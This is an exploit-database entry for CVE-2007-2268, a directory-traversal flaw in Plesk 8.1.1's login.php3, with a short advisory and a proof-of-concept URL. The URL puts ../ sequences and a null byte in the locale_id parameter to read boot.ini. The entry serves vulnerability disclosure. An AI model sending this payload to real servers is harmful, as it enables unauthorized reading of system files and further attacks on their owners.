plesk 8.1.1 - 'login.php3' Directory Traversal



EKU-ID: 35030 CVE: CVE-2007-2268;OSVDB-34081 OSVDB-ID:
Author: anonymous Published: 2007-04-25 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/23639/info

Plesk is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

https://www.example.com/login.php3?login_name=x&passwd=x&locale_id=../../../../../../../../boot.ini%00.jpg